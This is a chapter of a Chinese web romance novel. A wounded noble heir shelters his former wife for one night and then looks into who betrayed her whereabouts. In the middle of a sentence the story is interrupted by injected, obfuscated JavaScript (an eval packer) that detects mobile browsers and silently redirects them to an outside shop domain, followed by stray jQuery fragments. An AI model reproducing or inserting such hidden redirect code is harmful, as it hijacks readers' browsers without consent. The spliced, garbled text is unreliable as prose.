文趣网 > 其他小说 > 与侯府世子和离后 > 52. 夜宿
    冯柏舟留下善后,派了几个兵士护送沈玉珩和冬青离开。

    走到半路,福安带着人赶到了。他见自家世子爷衣袍染血、脸色苍白,吓得魂飞魄散,忙道:“世子爷您快上车,这得赶紧回府找大夫!”

    沈玉珩却像没听见似的,转过身,视线落在几步外站着的冬青身上,沉默而固执地看着她,意思不言自明。

    冬青知道自己不该再靠近他,昨夜的事,已经是最好的证明。但看着他苍白的脸色和染血的衣襟,她心口莫名一紧。最终,还是默默地跟了上去,率先弯身钻进了马车。

    沈玉珩的嘴角微微弯了一下,随即也上了车。

    马车刚驶出去,沈玉珩就吩咐道:“福安,不回侯府,去柳叶巷的宅子。”

    冬青神情微愕,他这是知道她不想去侯府,所以才特意吩咐换了地方吗?

    沈玉珩察觉到她的目光,转头看着她微笑:“怎么了?”

    冬青立刻别开脸:“没事。”

    马车驶过几条街,在一扇黑漆大门前停了下来。

    这是一座三进的院落,面积不大,却收拾得干干净净。朱红的门柱配着青瓦的屋檐,两盏风灯在夜风中轻轻摇曳,透着一股不张扬的雅致。

    冬青跟着沈玉珩穿过垂花门,绕过影壁,匆匆扫过几眼院中的景致。虽看不真切,但月光下隐约可见几丛修竹,一方小池,池边还立着一座玲珑的太湖石,布置得十分用心。

    沈玉珩走在前头,忽然停住脚步,回头看她:“喜欢吗?”

    冬青微微一愣,她没想到他会问她这个问题。她没有回答,侧头避开了他的视线。

    沈玉珩也没有追问,苍白的唇角微微勾了一下,这才继续往里走。

    大夫很快就到了,福安领着人一路小跑进来,焦急得连声催促:“大夫您快给看看,我家爷流了好多血!”

    大夫正要俯身查看沈玉珩的伤势,却被他抬手挡住了。沈玉珩指了指旁边坐着的冬青,皱着眉道:“先给她看!她额头上有伤,还中了迷药,您看看要不要紧。”

    沈玉珩又侧身,目光落在冬青额头的青紫上,怜惜地问:“可还有其他地方受伤?让大夫一起看看。”

    冬青立刻摇头:“我不要紧,大夫您先给他看。”她分得清轻重缓急,自己不过是些皮外伤,沈玉珩那伤才是要命的。

    可沈玉珩却执拗道:“先给她看!”

    大夫提着药箱,看看沈玉珩,又看看冬青,捋着胡须笑了起来:“小夫妻感情这般好,都顾着对方,倒让老朽不知该先看哪个了。”

    冬青的脸腾地红了,说话都有些不利索,急切道:“不,不是……我跟他不是……”话还没说完,就被沈玉珩打断了。

    沈玉珩强压住微微上扬的嘴角,语气都变轻快了些:“先给她瞧,她中的迷药可还要紧?额上的伤势如何?”

    大夫见沈玉珩精神尚可,虽然身上有伤但好歹性命无碍,便依言先给冬青诊了脉。

    此时迷药的药效已散得差不多了,额头上那处青紫虽然肿得高,看着骇人,也不过是些淤血,用些活血化瘀的药膏敷几日便能消。

    沈玉珩坐在一旁屏息凝听,直到听到大夫亲口说“无大碍”时,他才终于松了一口气。

    轮到沈玉珩时,冬青不由自主地坐直了身子,目光紧紧跟随着大夫的动作而移动。

    大夫撩开沈玉珩的衣袍,仔细查看了他身上的几处伤口,言道:“所幸伤口都不深,未伤及要害。又因及时做了包扎,仅仅是失血过多,好生休养些日子便能恢复。”

    冬青面上不动声色,心里那根绷紧的弦却松了下来,暗暗吐出一口长长的气。

    大夫开了方子,替沈玉珩重新处理了伤口,又嘱咐了几句,便拎着药箱告辞了。

    屋子里安静下来,只剩下药香和烛火轻微的哔剥声。

    沈玉珩靠着椅背,闭目沉思一会,才开口对冬青说:“今晚,你就住在这里吧,面香居那边不安全,等明日再回去。”

    “明日开始,我会安排人守在面香居周围保护,等那时候安全了,就可以回去了。”说着,他又补充道,“你放心,那些人会守在暗处,不会影响你开店做生意。”

    其实沈玉珩更想让她在这里多住几日,但他知道,她不会同意的,便没说出口。

    冬青下意识想要拒绝,话到嘴边又顿住了。

    一直以来,冬青都在刻意与他保持距离。但今晚发生的事,现在想来也难免后怕。她可以逞强,可万一那些人再找上门来呢?如果她真的出了什么意外,阿轩又该怎么办?

    事急从权,冬青想明白后也就同意了。

    沈玉珩像是没料到她答应得这么快,微微怔了一下,随即垂下眼帘,掩住了眼底那一点来不及藏好的欣喜。他没有再多说什么,只吩咐福安带冬青去安顿。

    冬青走出几步突然回头,黑眸定定看向沈玉珩,轻声道:“谢谢。”

    沈玉珩有一瞬的讶异,但很快目光变得温和,缓缓摇了摇头,温声道:“你对我,从来不需要感谢。”

    冬青的目光闪了一下,手指不安地绞紧,目光转向他手边桌案上那碗还冒着微微热气的药上,抿了抿唇:“你记得喝药。”说完,没有等他回答,转身快步走了出去。

    沈玉珩看着她离开的方向,过了好一会儿,才慢慢收回追随而去的目光。嘴角的笑意荡开,他端起那碗药一口喝了下去。

    药很苦,但他心里很暖。

    *

    福安领着冬青穿过一道月洞门,往后院走去。

    冬青本以为给她安排的是偏院或厢房,没想到福安直接把她领到了正院正房的门口。

    冬青皱起眉:“这是主院,我怎么能住这里?”

    福安搓了搓手,满脸为难:“姑娘有所不知,这宅子是世子爷的私宅,平日里没人住,只有正房是收拾好的。这大半夜的,一时半会儿也来不及收拾别的屋子。”

    冬青问:“那我住这里,沈玉珩住哪?”

    福安回答道:“世子爷就在书房住了,那里一应陈设也都很齐全,您不用担心。”

    冬青一路走来见到处都干净雅致,不像是没人居住的样子,但也可能是夜里光线昏暗看的不清楚罢。但既然福安这样说了,又这么晚了,冬青也不想为难他们,便没再说什么,推门走了进去。

    屋子里的摆设比她想象中要素净许多,一打开房门便闻到一股清新淡雅的味道。屋里一色的素木家具,梳妆台上放着一只青瓷瓶,插着几枝粉白茶花。床是普通样式的架子床,挂着碧水绿的素面帐幔,被褥也是浅绿色,没有什么繁复的绣纹。

    整个屋中的色调清雅柔和,简单又雅致,冬青一看便心生欢喜。不过她倒是有些意外,沈玉珩居然喜欢这样的风格。

    更让她意外的是,床上放着一套藕荷色衣裙,冬青拿起比

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685721|202660||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    划了下,正符合她的身量。不过折腾了一晚,她也累了,顾不上细究那么多,洗漱一番后就睡下了。

    第二天一早,天刚亮,冬青便醒了。她没有多耽搁,简单收拾了一番,便准备回面香居。临出门前,她犹豫了片刻,还是绕去了前院,打算跟沈玉珩道个别。

    沈玉珩已经起了,正坐在前厅的桌案前。桌上摆满了杯碗盏碟,看起来很是丰盛。经过休息,今天的他脸色看起来好多了,不再像昨晚那般苍白如纸。

    见冬青来了,沈玉珩眼中掠过一丝亮光,柔声问道:“这么早就起了?昨晚睡得可好?”

    冬青点点头:“我是来跟你道别的。”

    沈玉珩眼中的光暗下来,还是劝道:“用过早膳再走也不迟。”

    冬青摇头。

    沈玉珩神色黯然,很快又笑起来,像是什么都没发生,低声道:“也好。”

    “一切都已经安排好了,你不用担心。”他转向福安,吩咐道,“把大夫开的伤药给冬青姑娘带上,再亲自送她回去。”

    福安应了声,领着冬青往外走,边走边回头看了一眼沈玉珩。他坐着没动,目光落在桌上的一碟蒸糕上,不知在想些什么。

    走到半路,福安终于忍不住对冬青说道:“我家世子爷他,今天一大早就起来了。他本不是重口腹之欲的人,今日却破天荒吩咐早膳要丰盛些。大夫说了要静养,他也不听劝,非要下床,就是为了能跟您一起用早膳。可您却……毫不犹豫地拒绝了。”

    世子爷该有多失望啊!

    冬青听完了,却一直沉默着,眼睫低垂,脚步没有停,也没有接话,不知在想些什么。

    福安见状,也只好叹了口气,不再多说了。

    福安回来时,沈玉珩已经回了内室,靠在床头闭目养神。他听到脚步声,睁开眼问:“送到了?”

    福安答:“送到了。”

    沈玉珩又问:“上次让你查的事怎么样了?”

    自从上次芙蓉郡主去过冬青的面馆之后,沈玉珩就开始调查背后的事。她到底是怎么知道冬青的,又如何那么确信他心仪之人就是冬青?

    大长公主母女回城不久,对城中的人和事并不熟悉,芙蓉郡主就算打探到了冬青是他之前的妻子,但又如何确信他现在还对她有情?这些事,若没有知情人透露,很难能如此清楚。

    因此,他才会让福安调查这些事。

    福安很快回话,说已经有眉目了。

    沈玉珩的手指在床上轻轻叩了一下:“说。”

    福安将调查来的东西细细道来。

    “我去打听了一番,大长公主府不久前才举办过一次春宴,永安城里数得上名号的夫人小姐们都去了。永阳侯府的二少夫人,也就是四小姐,也在座上。”

    福安压低了声音:“四小姐如今虽已出嫁,可府里人人皆知,她不喜冬青姑娘甚至是怨恨。那日在宴上,她与芙蓉郡主说了好一会儿话,有人听见,似乎提到了‘面香居’三个字。”

    沈玉珩的眼眸冷了下来,冷笑道:“到底是我那个蠢妹妹干的,还是有人合谋?我看这事,恐怕没这么简单。”

    沈玉珩挑眉,又问福安:“我似乎记得,不久前四小姐回府探过亲?”

    福安想了想,回答道:“的确有这么回事,四小姐还专程求了侯爷恩准,见了夫人一面”。

    沈玉珩冷哼一声,没有说话,眼中寒意渗人。